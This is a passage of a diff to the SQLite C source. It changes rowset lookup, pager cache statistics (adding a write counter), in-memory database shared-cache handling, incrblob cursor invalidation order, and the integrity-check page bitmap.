        }else{
+
          struct RowSetEntry *pAux, *pTail;
+
          rowSetTreeToList(pTree->pLeft, &pAux, &pTail);
+
          pTree->pLeft = 0;
+
          p = rowSetEntryMerge(pAux, p);
+
        }
+
      }
+
      if( pTree==0 ){
+
        *ppPrevTree = pTree = rowSetEntryAlloc(pRowSet);
+
        if( pTree ){
+
          pTree->v = 0;
+
          pTree->pRight = 0;
+
          pTree->pLeft = rowSetListToTree(p);
+
        }
+
      }
      pRowSet->pEntry = 0;
      pRowSet->pLast = 0;
+
      pRowSet->rsFlags |= ROWSET_SORTED;
    }
    pRowSet->iBatch = iBatch;
  }
-
  p = pRowSet->pTree;
-
  while( p ){
-
    if( p->v<iRowid ){
-
      p = p->pRight;
-
    }else if( p->v>iRowid ){
-
      p = p->pLeft;
-
    }else{
-
      return 1;
+

+
  /* Test to see if the iRowid value appears anywhere in the forest.
+
  ** Return 1 if it does and 0 if not.
+
  */
+
  for(pTree = pRowSet->pForest; pTree; pTree=pTree->pRight){
+
    p = pTree->pLeft;
+
    while( p ){
+
      if( p->v<iRowid ){
+
        p = p->pRight;
+
      }else if( p->v>iRowid ){
+
        p = p->pLeft;
+
      }else{
+
        return 1;
+
      }
    }
  }
  return 0;
@@ -39096,9 +39913,9 @@ struct Pager {
  char *zJournal;             /* Name of the journal file */
  int (*xBusyHandler)(void*); /* Function to call when busy */
  void *pBusyHandlerArg;      /* Context argument for xBusyHandler */
-
  int nHit, nMiss;            /* Total cache hits and misses */
+
  int aStat[3];               /* Total cache hits, misses and writes */
#ifdef SQLITE_TEST
-
  int nRead, nWrite;          /* Database pages read/written */
+
  int nRead;                  /* Database pages read */
#endif
  void (*xReiniter)(DbPage*); /* Call this routine when reloading pages */
#ifdef SQLITE_HAS_CODEC
@@ -39116,6 +39933,15 @@ struct Pager {
};

/*
+
** Indexes for use with Pager.aStat[]. The Pager.aStat[] array contains
+
** the values accessed by passing SQLITE_DBSTATUS_CACHE_HIT, CACHE_MISS 
+
** or CACHE_WRITE to sqlite3_db_status().
+
*/
+
#define PAGER_STAT_HIT   0
+
#define PAGER_STAT_MISS  1
+
#define PAGER_STAT_WRITE 2
+

+
/*
** The following global variables hold counters used for
** testing purposes only.  These variables do not exist in
** a non-testing build.  These variables are not thread-safe.
@@ -41397,6 +42223,7 @@ static int pagerWalFrames(
  int isCommit                    /* True if this is a commit */
){
  int rc;                         /* Return code */
+
  int nList;                      /* Number of pages in pList */
#if defined(SQLITE_DEBUG) || defined(SQLITE_CHECK_PAGES)
  PgHdr *p;                       /* For looping over pages */
#endif
@@ -41410,6 +42237,7 @@ static int pagerWalFrames(
  }
#endif

+
  assert( pList->pDirty==0 || isCommit );
  if( isCommit ){
    /* If a WAL transaction is being committed, there is no point in writing
    ** any pages with page numbers greater than nTruncate into the WAL file.
@@ -41417,11 +42245,18 @@ static int pagerWalFrames(
    ** list here. */
    PgHdr *p;
    PgHdr **ppNext = &pList;
-
    for(p=pList; (*ppNext = p); p=p->pDirty){
-
      if( p->pgno<=nTruncate ) ppNext = &p->pDirty;
+
    nList = 0;
+
    for(p=pList; (*ppNext = p)!=0; p=p->pDirty){
+
      if( p->pgno<=nTruncate ){
+
        ppNext = &p->pDirty;
+
        nList++;
+
      }
    }
    assert( pList );
+
  }else{
+
    nList = 1;
  }
+
  pPager->aStat[PAGER_STAT_WRITE] += nList;

  if( pList->pgno==1 ) pager_write_changecounter(pList);
  rc = sqlite3WalFrames(pPager->pWal, 
@@ -42489,6 +43324,7 @@ static int pager_write_pagelist(Pager *pPager, PgHdr *pList){
      if( pgno>pPager->dbFileSize ){
        pPager->dbFileSize = pgno;
      }
+
      pPager->aStat[PAGER_STAT_WRITE]++;

      /* Update any backup objects copying the contents of this pager. */
      sqlite3BackupUpdate(pPager->pBackup, pgno, (u8*)pList->pData);
@@ -42497,7 +43333,6 @@ static int pager_write_pagelist(Pager *pPager, PgHdr *pList){
                   PAGERID(pPager), pgno, pager_pagehash(pList)));
      IOTRACE(("PGOUT %p %d\n", pPager, pgno));
      PAGER_INCR(sqlite3_pager_writedb_count);
-
      PAGER_INCR(pPager->nWrite);
    }else{
      PAGERTRACE(("NOSTORE %d page %d\n", PAGERID(pPager), pgno));
    }
@@ -42768,7 +43603,12 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
#ifndef SQLITE_OMIT_MEMORYDB
  if( flags & PAGER_MEMORY ){
    memDb = 1;
-
    zFilename = 0;
+
    if( zFilename && zFilename[0] ){
+
      zPathname = sqlite3DbStrDup(0, zFilename);
+
      if( zPathname==0  ) return SQLITE_NOMEM;
+
      nPathname = sqlite3Strlen30(zPathname);
+
      zFilename = 0;
+
    }
  }
#endif

@@ -42779,7 +43619,7 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
  if( zFilename && zFilename[0] ){
    const char *z;
    nPathname = pVfs->mxPathname+1;
-
    zPathname = sqlite3Malloc(nPathname*2);
+
    zPathname = sqlite3DbMallocRaw(0, nPathname*2);
    if( zPathname==0 ){
      return SQLITE_NOMEM;
    }
@@ -42803,7 +43643,7 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
      rc = SQLITE_CANTOPEN_BKPT;
    }
    if( rc!=SQLITE_OK ){
-
      sqlite3_free(zPathname);
+
      sqlite3DbFree(0, zPathname);
      return rc;
    }
  }
@@ -42833,7 +43673,7 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
  );
  assert( EIGHT_BYTE_ALIGNMENT(SQLITE_INT_TO_PTR(journalFileSize)) );
  if( !pPtr ){
-
    sqlite3_free(zPathname);
+
    sqlite3DbFree(0, zPathname);
    return SQLITE_NOMEM;
  }
  pPager =              (Pager*)(pPtr);
@@ -42849,7 +43689,7 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
    assert( nPathname>0 );
    pPager->zJournal =   (char*)(pPtr += nPathname + 1 + nUri);
    memcpy(pPager->zFilename, zPathname, nPathname);
-
    memcpy(&pPager->zFilename[nPathname+1], zUri, nUri);
+
    if( nUri ) memcpy(&pPager->zFilename[nPathname+1], zUri, nUri);
    memcpy(pPager->zJournal, zPathname, nPathname);
    memcpy(&pPager->zJournal[nPathname], "-journal\000", 8+1);
    sqlite3FileSuffix3(pPager->zFilename, pPager->zJournal);
@@ -42859,7 +43699,7 @@ SQLITE_PRIVATE int sqlite3PagerOpen(
    memcpy(&pPager->zWal[nPathname], "-wal\000", 4+1);
    sqlite3FileSuffix3(pPager->zFilename, pPager->zWal);
#endif
-
    sqlite3_free(zPathname);
+
    sqlite3DbFree(0, zPathname);
  }
  pPager->pVfs = pVfs;
  pPager->vfsFlags = vfsFlags;
@@ -43455,7 +44295,7 @@ SQLITE_PRIVATE int sqlite3PagerAcquire(
    /* In this case the pcache already contains an initialized copy of
    ** the page. Return without further ado.  */
    assert( pgno<=PAGER_MAX_PGNO && pgno!=PAGER_MJ_PGNO(pPager) );
-
    pPager->nHit++;
+
    pPager->aStat[PAGER_STAT_HIT]++;
    return SQLITE_OK;

  }else{
@@ -43497,7 +44337,7 @@ SQLITE_PRIVATE int sqlite3PagerAcquire(
      IOTRACE(("ZERO %p %d\n", pPager, pgno));
    }else{
      assert( pPg->pPager==pPager );
-
      pPager->nMiss++;
+
      pPager->aStat[PAGER_STAT_MISS]++;
      rc = readDbPage(pPg);
      if( rc!=SQLITE_OK ){
        goto pager_acquire_err;
@@ -44082,6 +44922,7 @@ static int pager_incr_changecounter(Pager *pPager, int isDirectMode){
        CODEC2(pPager, pPgHdr->pData, 1, 6, rc=SQLITE_NOMEM, zBuf);
        if( rc==SQLITE_OK ){
          rc = sqlite3OsWrite(pPager->fd, zBuf, pPager->pageSize, 0);
+
          pPager->aStat[PAGER_STAT_WRITE]++;
        }
        if( rc==SQLITE_OK ){
          pPager->changeCountDone = 1;
@@ -44525,11 +45366,11 @@ SQLITE_PRIVATE int *sqlite3PagerStats(Pager *pPager){
  a[3] = pPager->eState==PAGER_OPEN ? -1 : (int) pPager->dbSize;
  a[4] = pPager->eState;
  a[5] = pPager->errCode;
-
  a[6] = pPager->nHit;
-
  a[7] = pPager->nMiss;
+
  a[6] = pPager->aStat[PAGER_STAT_HIT];
+
  a[7] = pPager->aStat[PAGER_STAT_MISS];
  a[8] = 0;  /* Used to be pPager->nOvfl */
  a[9] = pPager->nRead;
-
  a[10] = pPager->nWrite;
+
  a[10] = pPager->aStat[PAGER_STAT_WRITE];
  return a;
}
#endif
@@ -44542,20 +45383,19 @@ SQLITE_PRIVATE int *sqlite3PagerStats(Pager *pPager){
** returning.
*/
SQLITE_PRIVATE void sqlite3PagerCacheStat(Pager *pPager, int eStat, int reset, int *pnVal){
-
  int *piStat;

  assert( eStat==SQLITE_DBSTATUS_CACHE_HIT
       || eStat==SQLITE_DBSTATUS_CACHE_MISS
+
       || eStat==SQLITE_DBSTATUS_CACHE_WRITE
  );
-
  if( eStat==SQLITE_DBSTATUS_CACHE_HIT ){
-
    piStat = &pPager->nHit;
-
  }else{
-
    piStat = &pPager->nMiss;
-
  }

-
  *pnVal += *piStat;
+
  assert( SQLITE_DBSTATUS_CACHE_HIT+1==SQLITE_DBSTATUS_CACHE_MISS );
+
  assert( SQLITE_DBSTATUS_CACHE_HIT+2==SQLITE_DBSTATUS_CACHE_WRITE );
+
  assert( PAGER_STAT_HIT==0 && PAGER_STAT_MISS==1 && PAGER_STAT_WRITE==2 );
+

+
  *pnVal += pPager->aStat[eStat - SQLITE_DBSTATUS_CACHE_HIT];
  if( reset ){
-
    *piStat = 0;
+
    pPager->aStat[eStat - SQLITE_DBSTATUS_CACHE_HIT] = 0;
  }
}

@@ -44704,9 +45544,16 @@ SQLITE_PRIVATE int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint){

/*
** Return the full pathname of the database file.
+
**
+
** Except, if the pager is in-memory only, then return an empty string if
+
** nullIfMemDb is true.  This routine is called with nullIfMemDb==1 when
+
** used to report the filename to the user, for compatibility with legacy
+
** behavior.  But when the Btree needs to know the filename for matching to
+
** shared cache, it uses nullIfMemDb==0 so that in-memory databases can
+
** participate in shared-cache.
*/
-
SQLITE_PRIVATE const char *sqlite3PagerFilename(Pager *pPager){
-
  return pPager->zFilename;
+
SQLITE_PRIVATE const char *sqlite3PagerFilename(Pager *pPager, int nullIfMemDb){
+
  return (nullIfMemDb && pPager->memDb) ? "" : pPager->zFilename;
}

/*
@@ -49068,12 +49915,18 @@ struct BtCursor {
/*
** This structure is passed around through all the sanity checking routines
** in order to keep track of some global state information.
+
**
+
** The aRef[] array is allocated so that there is 1 bit for each page in
+
** the database. As the integrity-check proceeds, for each page used in
+
** the database the corresponding bit is set. This allows integrity-check to 
+
** detect pages that are used twice and orphaned pages (both of which 
+
** indicate corruption).
*/
typedef struct IntegrityCk IntegrityCk;
struct IntegrityCk {
  BtShared *pBt;    /* The tree being checked out */
  Pager *pPager;    /* The associated pager.  Also accessible by pBt->pPager */
-
  int *anRef;       /* Number of times each page is referenced */
+
  u8 *aPgRef;       /* 1 bit per page in the db (see above) */
  Pgno nPage;       /* Number of pages in the database */
  int mxErr;        /* Stop accumulating errors when this reaches zero */
  int nErr;         /* Number of messages written to zErrMsg so far */
@@ -51085,7 +51938,8 @@ SQLITE_PRIVATE int sqlite3BtreeOpen(
  const int isMemdb = 0;
#else
  const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0)
-
                       || (isTempDb && sqlite3TempInMemory(db));
+
                       || (isTempDb && sqlite3TempInMemory(db))
+
                       || (vfsFlags & SQLITE_OPEN_MEMORY)!=0;
#endif

  assert( db!=0 );
@@ -51121,7 +51975,7 @@ SQLITE_PRIVATE int sqlite3BtreeOpen(
  ** If this Btree is a candidate for shared cache, try to find an
  ** existing BtShared object that we can share with
  */
-
  if( isMemdb==0 && isTempDb==0 ){
+
  if( isTempDb==0 && (isMemdb==0 || (vfsFlags&SQLITE_OPEN_URI)!=0) ){
    if( vfsFlags & SQLITE_OPEN_SHAREDCACHE ){
      int nFullPathname = pVfs->mxPathname+1;
      char *zFullPathname = sqlite3Malloc(nFullPathname);
@@ -51131,11 +51985,16 @@ SQLITE_PRIVATE int sqlite3BtreeOpen(
        sqlite3_free(p);
        return SQLITE_NOMEM;
      }
-
      rc = sqlite3OsFullPathname(pVfs, zFilename, nFullPathname, zFullPathname);
-
      if( rc ){
-
        sqlite3_free(zFullPathname);
-
        sqlite3_free(p);
-
        return rc;
+
      if( isMemdb ){
+
        memcpy(zFullPathname, zFilename, sqlite3Strlen30(zFilename)+1);
+
      }else{
+
        rc = sqlite3OsFullPathname(pVfs, zFilename,
+
                                   nFullPathname, zFullPathname);
+
        if( rc ){
+
          sqlite3_free(zFullPathname);
+
          sqlite3_free(p);
+
          return rc;
+
        }
      }
#if SQLITE_THREADSAFE
      mutexOpen = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_OPEN);
@@ -51145,7 +52004,7 @@ SQLITE_PRIVATE int sqlite3BtreeOpen(
#endif
      for(pBt=GLOBAL(BtShared*,sqlite3SharedCacheList); pBt; pBt=pBt->pNext){
        assert( pBt->nRef>0 );
-
        if( 0==strcmp(zFullPathname, sqlite3PagerFilename(pBt->pPager))
+
        if( 0==strcmp(zFullPathname, sqlite3PagerFilename(pBt->pPager, 0))
                 && sqlite3PagerVfs(pBt->pPager)==pVfs ){
          int iDb;
          for(iDb=db->nDb-1; iDb>=0; iDb--){
@@ -56153,13 +57012,6 @@ SQLITE_PRIVATE int sqlite3BtreeInsert(
  ** blob of associated data.  */
  assert( (pKey==0)==(pCur->pKeyInfo==0) );

-
  /* If this is an insert into a table b-tree, invalidate any incrblob 
-
  ** cursors open on the row being replaced (assuming this is a replace
-
  ** operation - if it is not, the following is a no-op).  */
-
  if( pCur->pKeyInfo==0 ){
-
    invalidateIncrblobCursors(p, nKey, 0);
-
  }
-

  /* Save the positions of any other cursors open on this table.
  **
  ** In some cases, the call to btreeMoveto() below is a no-op. For
@@ -56173,6 +57025,14 @@ SQLITE_PRIVATE int sqlite3BtreeInsert(
  */
  rc = saveAllCursors(pBt, pCur->pgnoRoot, pCur);
  if( rc ) return rc;
+

+
  /* If this is an insert into a table b-tree, invalidate any incrblob 
+
  ** cursors open on the row being replaced (assuming this is a replace
+
  ** operation - if it is not, the following is a no-op).  */
+
  if( pCur->pKeyInfo==0 ){
+
    invalidateIncrblobCursors(p, nKey, 0);
+
  }
+

  if( !loc ){
    rc = btreeMoveto(pCur, pKey, nKey, appendBias, &loc);
    if( rc ) return rc;
@@ -56283,12 +57143,6 @@ SQLITE_PRIVATE int sqlite3BtreeDelete(BtCursor *pCur){
    return SQLITE_ERROR;  /* Something has gone awry. */
  }

-
  /* If this is a delete operation to remove a row from a table b-tree,
-
  ** invalidate any incrblob cursors open on the row being deleted.  */
-
  if( pCur->pKeyInfo==0 ){
-
    invalidateIncrblobCursors(p, pCur->info.nKey, 0);
-
  }
-

  iCellDepth = pCur->iPage;
  iCellIdx = pCur->aiIdx[iCellDepth];
  pPage = pCur->apPage[iCellDepth];
@@ -56314,6 +57168,13 @@ SQLITE_PRIVATE int sqlite3BtreeDelete(BtCursor *pCur){
  */
  rc = saveAllCursors(pBt, pCur->pgnoRoot, pCur);
  if( rc ) return rc;
+

+
  /* If this is a delete operation to remove a row from a table b-tree,
+
  ** invalidate any incrblob cursors open on the row being deleted.  */
+
  if( pCur->pKeyInfo==0 ){
+
    invalidateIncrblobCursors(p, pCur->info.nKey, 0);
+
  }
+

  rc = sqlite3PagerWrite(pPage->pDbPage);
  if( rc ) return rc;
  rc = clearCell(pPage, pCell);
@@ -56595,13 +57456,13 @@ SQLITE_PRIVATE int sqlite3BtreeClearTable(Btree *p, int iTable, int *pnChange){
  sqlite3BtreeEnter(p);
  assert( p->inTrans==TRANS_WRITE );

-
  /* Invalidate all incrblob cursors open on table iTable (assuming iTable
-
  ** is the root of a table b-tree - if it is not, the following call is
-
  ** a no-op).  */
-
  invalidateIncrblobCursors(p, 0, 1);
-

  rc = saveAllCursors(pBt, (Pgno)iTable, 0);
+

  if( SQLITE_OK==rc ){
+
    /* Invalidate all incrblob cursors open on table iTable (assuming iTable
+
    ** is the root of a table b-tree - if it is not, the following call is
+
    ** a no-op).  */
+
    invalidateIncrblobCursors(p, 0, 1);
    rc = clearDatabasePage(pBt, (Pgno)iTable, 0, pnChange);
  }
  sqlite3BtreeLeave(p);
@@ -56916,6 +57777,25 @@ static void checkAppendMsg(
#endif /* SQLITE_OMIT_INTEGRITY_CHECK */

#ifndef SQLITE_OMIT_INTEGRITY_CHECK
+

+
/*
+
** Return non-zero if the bit in the IntegrityCk.aPgRef[] array that
+
** corresponds to page iPg is already set.
+
*/
+
static int getPageReferenced(IntegrityCk *pCheck, Pgno iPg){
+
  assert( iPg<=pCheck->nPage && sizeof(pCheck->aPgRef[0])==1 );
+
  return (pCheck->aPgRef[iPg/8] & (1 << (iPg & 0x07)));
+
}
+

+
/*
+
** Set the bit in the IntegrityCk.aPgRef[] array that corresponds to page iPg.
+
*/
+
static void setPageReferenced(IntegrityCk *pCheck, Pgno iPg){
+
  assert( iPg<=pCheck->nPage && sizeof(pCheck->aPgRef[0])==1 );
+
  pCheck->aPgRef[iPg/8] |= (1 << (iPg & 0x07));
+
}
+

+

/*
** Add 1 to the reference count for page iPage.  If this is the second
** reference to the page, add an error message to pCheck->zErrMsg.
@@ -56930,11 +57810,12 @@ static int checkRef(IntegrityCk *pCheck, Pgno iPage, char *zContext){
    checkAppendMsg(pCheck, zContext, "invalid page number %d", iPage);
    return 1;
  }
-
  if( pCheck->anRef[iPage]==1 ){
+
  if( getPageReferenced(pCheck, iPage) ){
    checkAppendMsg(pCheck, zContext, "2nd reference to page %d", iPage);
    return 1;
  }
-
  return  (pCheck->anRef[iPage]++)>1;
+
  setPageReferenced(pCheck, iPage);
+
  return 0;
}

#ifndef SQLITE_OMIT_AUTOVACUUM
@@ -57310,17 +58191,15 @@ SQLITE_PRIVATE char *sqlite3BtreeIntegrityCheck(
    sqlite3BtreeLeave(p);
    return 0;
  }
-
  sCheck.anRef = sqlite3Malloc( (sCheck.nPage+1)*sizeof(sCheck.anRef[0]) );
-
  if( !sCheck.anRef ){
+

+
  sCheck.aPgRef = sqlite3MallocZero((sCheck.nPage / 8)+ 1);
+
  if( !sCheck.aPgRef ){
    *pnErr = 1;
    sqlite3BtreeLeave(p);
    return 0;
  }
-
  for(i=0; i<=sCheck.nPage; i++){ sCheck.anRef[i] = 0; }
  i = PENDING_BYTE_PAGE(pBt);
-
  if( i<=sCheck.nPage ){
-
    sCheck.anRef[i] = 1;
-
  }
+
  if( i<=sCheck.nPage ) setPageReferenced(&sCheck, i);
  sqlite3StrAccumInit(&sCheck.errMsg, zErr, sizeof(zErr), 20000);
  sCheck.errMsg.useMalloc = 2;

@@ -57345,18 +58224,18 @@ SQLITE_PRIVATE char *sqlite3BtreeIntegrityCheck(
  */
  for(i=1; i<=sCheck.nPage && sCheck.mxErr; i++){
#ifdef SQLITE_OMIT_AUTOVACUUM
-
    if( sCheck.anRef[i]==0 ){
+
    if( getPageReferenced(&sCheck, i)==0 ){
      checkAppendMsg(&sCheck, 0, "Page %d is never used", i);
    }
#else
    /* If the database supports auto-vacuum, make sure no tables contain
    ** references to pointer-map pages.
    */
-
    if( sCheck.anRef[i]==0 && 
+
    if( getPageReferenced(&sCheck, i)==0 && 
       (PTRMAP_PAGENO(pBt, i)!=i || !pBt->autoVacuum) ){
      checkAppendMsg(&sCheck, 0, "Page %d is never used", i);
    }
-
    if( sCheck.anRef[i]!=0 && 
+
    if( getPageReferenced(&sCheck, i)!=0 && 
       (PTRMAP_PAGENO(pBt, i)==i && pBt->autoVacuum) ){
      checkAppendMsg(&sCheck, 0, "Pointer map page %d is referenced", i);
    }
@@ -57377,7 +58256,7 @@ SQLITE_PRIVATE char *sqlite3BtreeIntegrityCheck(
  /* Clean  up and report errors.
  */
  sqlite3BtreeLeave(p);
-
  sqlite3_free(sCheck.anRef);
+
  sqlite3_free(sCheck.aPgRef);
  if( sCheck.mallocFailed ){
    sqlite3StrAccumReset(&sCheck.errMsg);
    *pnErr = sCheck.nErr+1;
@@ -57390,14 +58269,15 @@ SQLITE_PRIVATE char *sqlite3BtreeIntegrityCheck(
#endif /* SQLITE_OMIT_INTEGRITY_CHECK */

/*
-
** Return the full pathname of the underlying database file.
+
** Return the full pathname of the underlying database file.  Return
+
** an empty string if the database is in-memory or a TEMP database.
**
** The pager filename is invariant as long as the pager is
** open so it is safe to access without the BtShared mutex.
*/
SQLITE_PRIVATE const char *sqlite3BtreeGetFilename(Btree *p){
  assert( p->pBt->pPager!=0 );
-
  return sqlite3PagerFilename(p->pBt->pPager);
+
  return sqlite3PagerFilename(p->pBt->pPager, 1);
}

/*
@@ -58048,7 +58928,7 @@ SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage){
      rc = sqlite3BtreeUpdateMeta(p->pDest,1,p->iDestSchema+1);
      if( rc==SQLITE_OK ){
        if( p->pDestDb ){
-
          sqlite3ResetInternalSchema(p->pDestDb, -1);
+
          sqlite3ResetAllSchemasOfConnection(p->pDestDb);
        }
        if( destMode==PAGER_JOURNALMODE_WAL ){
          rc = sqlite3BtreeSetVersion(p->pDest, 2);
@@ -58413,10 +59293,10 @@ SQLITE_PRIVATE int sqlite3VdbeChangeEncoding(Mem *pMem, int desiredEnc){
** Make sure pMem->z points to a writable allocation of at least 
** n bytes.
**
-
** If the memory cell currently contains string or blob data
-
** and the third argument passed to this function is true, the 
-
** current content of the cell is preserved. Otherwise, it may
-
** be discarded.  
+
** If the third argument passed to this function is true, then memory
+
** cell pMem must contain a string or blob. In this case the content is
+
** preserved. Otherwise, if the third parameter to this function is false,
+
** any current string or blob value may be discarded.
**
** This function sets the MEM_Dyn flag and clears any xDel callback.
** It also clears MEM_Ephem and MEM_Static. If the preserve flag is 
@@ -58431,6 +59311,10 @@ SQLITE_PRIVATE int sqlite3VdbeMemGrow(Mem *pMem, int n, int preserve){
  );
  assert( (pMem->flags&MEM_RowSet)==0 );

+
  /* If the preserve flag is set to true, then the memory cell must already
+
  ** contain a valid string or blob value.  */
+
  assert( preserve==0 || pMem->flags&(MEM_Blob|MEM_Str) );
+

  if( n<32 ) n = 32;
  if( sqlite3DbMallocSize(pMem->db, pMem->zMalloc)<n ){
    if( preserve && pMem->z==pMem->zMalloc ){
@@ -60749,7 +61633,7 @@ SQLITE_PRIVATE int sqlite3VdbeList(
        for(j=0; j<nSub; j++){
          if( apSub[j]==pOp->p4.pProgram ) break;
        }
-
        if( j==nSub && SQLITE_OK==sqlite3VdbeMemGrow(pSub, nByte, 1) ){
+
        if( j==nSub && SQLITE_OK==sqlite3VdbeMemGrow(pSub, nByte, nSub!=0) ){
          apSub = (SubProgram **)pSub->z;
          apSub[nSub++] = pOp->p4.pProgram;
          pSub->flags |= MEM_Blob;
@@ -64229,8 +65113,9 @@ SQLITE_PRIVATE char *sqlite3VdbeExpandSql(
*/
SQLITE_PRIVATE void sqlite3ExplainBegin(Vdbe *pVdbe){
  if( pVdbe ){
+
    Explain *p;
    sqlite3BeginBenignMalloc();
-
    Explain *p = sqlite3_malloc( sizeof(Explain) );
+
    p = sqlite3_malloc( sizeof(Explain) );
    if( p ){
      memset(p, 0, sizeof(*p));
      p->pVdbe = pVdbe;
@@ -66998,6 +67883,11 @@ case OP_NotNull: { /* same as TK_NOTNULL, jump, in1 */
** then the cache of the cursor is reset prior to extracting the column.
** The first OP_Column against a pseudo-table after the value of the content
** register has changed should have this bit set.
+
**
+
** If the OPFLAG_LENGTHARG and OPFLAG_TYPEOFARG bits are set on P5 when
+
** the result is guaranteed to only be used as the argument of a length()
+
** or typeof() function, respectively.  The loading of large blobs can be
+
** skipped for length() and all content loading can be skipped for typeof().
*/
case OP_Column: {
#if 0  /* local variables moved into u.an */
@@ -67140,7 +68030,7 @@ case OP_Column: {
        u.an.pC->aRow = 0;
      }
    }
-
    /* The following assert is true in all cases accept when
+
    /* The following assert is true in all cases except when
    ** the database file has been corrupted externally.
    **    assert( u.an.zRec!=0 || u.an.avail>=u.an.payloadSize || u.an.avail>=9 ); */
    u.an.szHdr = getVarint32((u8*)u.an.zData, u.an.offset);
@@ -67215,11 +68105,11 @@ case OP_Column: {
          break;
        }
      }else{
-
        /* If u.an.i is less that u.an.nField, then there are less fields in this
+
        /* If u.an.i is less that u.an.nField, then there are fewer fields in this
        ** record than SetNumColumns indicated there are columns in the
        ** table. Set the u.an.offset for any extra columns not present in
-
        ** the record to 0. This tells code below to store a NULL
-
        ** instead of deserializing a value from the record.
+
        ** the record to 0. This tells code below to store the default value
+
        ** for the column instead of deserializing a value from the record.
        */
        u.an.aOffset[u.an.i] = 0;
      }
@@ -67249,17 +68139,32 @@ case OP_Column: {
  if( u.an.aOffset[u.an.p2] ){
    assert( rc==SQLITE_OK );
    if( u.an.zRec ){
+
      /* This is the common case where the whole row fits on a single page */
      VdbeMemRelease(u.an.pDest);
      sqlite3VdbeSerialGet((u8 *)&u.an.zRec[u.an.aOffset[u.an.p2]], u.an.aType[u.an.p2], u.an.pDest);
    }else{
-
      u.an.len = sqlite3VdbeSerialTypeLen(u.an.aType[u.an.p2]);
-
      sqlite3VdbeMemMove(&u.an.sMem, u.an.pDest);
-
      rc = sqlite3VdbeMemFromBtree(u.an.pCrsr, u.an.aOffset[u.an.p2], u.an.len, u.an.pC->isIndex, &u.an.sMem);
-
      if( rc!=SQLITE_OK ){
-
        goto op_column_out;
+
      /* This branch happens only when the row overflows onto multiple pages */
+
      u.an.t = u.an.aType[u.an.p2];
+
      if( (pOp->p5 & (OPFLAG_LENGTHARG|OPFLAG_TYPEOFARG))!=0
+
       && ((u.an.t>=12 && (u.an.t&1)==0) || (pOp->p5 & OPFLAG_TYPEOFARG)!=0)
+
      ){
+
        /* Content is irrelevant for the typeof() function and for
+
        ** the length(X) function if X is a blob.  So we might as well use
+
        ** bogus content rather than reading content from disk.  NULL works
+
        ** for text and blob and whatever is in the u.an.payloadSize64 variable
+
        ** will work for everything else. */
+
        u.an.zData = u.an.t<12 ? (char*)&u.an.payloadSize64 : 0;
+
      }else{
+
        u.an.len = sqlite3VdbeSerialTypeLen(u.an.t);
+
        sqlite3VdbeMemMove(&u.an.sMem, u.an.pDest);
+
        rc = sqlite3VdbeMemFromBtree(u.an.pCrsr, u.an.aOffset[u.an.p2], u.an.len,  u.an.pC->isIndex,
+
                                     &u.an.sMem);
+
        if( rc!=SQLITE_OK ){
+
          goto op_column_out;
+
        }
+
        u.an.zData = u.an.sMem.z;
      }
-
      u.an.zData = u.an.sMem.z;
-
      sqlite3VdbeSerialGet((u8*)u.an.zData, u.an.aType[u.an.p2], u.an.pDest);
+
      sqlite3VdbeSerialGet((u8*)u.an.zData, u.an.t, u.an.pDest);
    }
    u.an.pDest->enc = encoding;
  }else{
@@ -67595,8 +68500,10 @@ case OP_Savepoint: {
        rc = p->rc;
      }else{
        u.ar.iSavepoint = db->nSavepoint - u.ar.iSavepoint - 1;
-
        for(u.ar.ii=0; u.ar.ii<db->nDb; u.ar.ii++){
-
          sqlite3BtreeTripAllCursors(db->aDb[u.ar.ii].pBt, SQLITE_ABORT);
+
        if( u.ar.p1==SAVEPOINT_ROLLBACK ){
+
          for(u.ar.ii=0; u.ar.ii<db->nDb; u.ar.ii++){
+
            sqlite3BtreeTripAllCursors(db->aDb[u.ar.ii].pBt, SQLITE_ABORT);
+
          }
        }
        for(u.ar.ii=0; u.ar.ii<db->nDb; u.ar.ii++){
          rc = sqlite3BtreeSavepoint(db->aDb[u.ar.ii].pBt, u.ar.p1, u.ar.iSavepoint);
@@ -67606,7 +68513,7 @@ case OP_Savepoint: {
        }
        if( u.ar.p1==SAVEPOINT_ROLLBACK && (db->flags&SQLITE_InternChanges)!=0 ){
          sqlite3ExpirePreparedStatements(db);
-
          sqlite3ResetInternalSchema(db, -1);
+
          sqlite3ResetAllSchemasOfConnection(db);
          db->flags = (db->flags | SQLITE_InternChanges);
        }
      }
@@ -67920,7 +68827,7 @@ case OP_VerifyCookie: {
    ** a v-table method.
    */
    if( db->aDb[pOp->p1].pSchema->schema_cookie!=u.aw.iMeta ){
-
      sqlite3ResetInternalSchema(db, pOp->p1);
+
      sqlite3ResetOneSchema(db, pOp->p1);
    }

    p->expired = 1;
@@ -69113,7 +70020,6 @@ case OP_RowData: {
  assert( u.bl.pC!=0 );
  assert( u.bl.pC->nullRow==0 );
  assert( u.bl.pC->pseudoTableReg==0 );
-
  assert( !u.bl.pC->isSorter );
  assert( u.bl.pC->pCursor!=0 );
  u.bl.pCrsr = u.bl.pC->pCursor;
  assert( sqlite3BtreeCursorIsValid(u.bl.pCrsr) );
@@ -69789,7 +70695,7 @@ case OP_ParseSchema: {
      db->init.busy = 0;
    }
  }
-
  if( rc ) sqlite3ResetInternalSchema(db, -1);
+
  if( rc ) sqlite3ResetAllSchemasOfConnection(db);
  if( rc==SQLITE_NOMEM ){
    goto no_mem;
  }
@@ -70456,7 +71362,7 @@ case OP_JournalMode: { /* out2-prerelease */
  if( !sqlite3PagerOkToChangeJournalMode(u.ci.pPager) ) u.ci.eNew = u.ci.eOld;

#ifndef SQLITE_OMIT_WAL
-
  u.ci.zFilename = sqlite3PagerFilename(u.ci.pPager);
+
  u.ci.zFilename = sqlite3PagerFilename(u.ci.pPager, 1);

  /* Do not allow a transition to journal_mode=WAL for a database
  ** in temporary storage or if the VFS does not support shared memory
@@ -71122,7 +72028,7 @@ vdbe_error_halt:
  if( rc==SQLITE_IOERR_NOMEM ) db->mallocFailed = 1;
  rc = SQLITE_ERROR;
  if( resetSchemaOnFault>0 ){
-
    sqlite3ResetInternalSchema(db, resetSchemaOnFault-1);
+
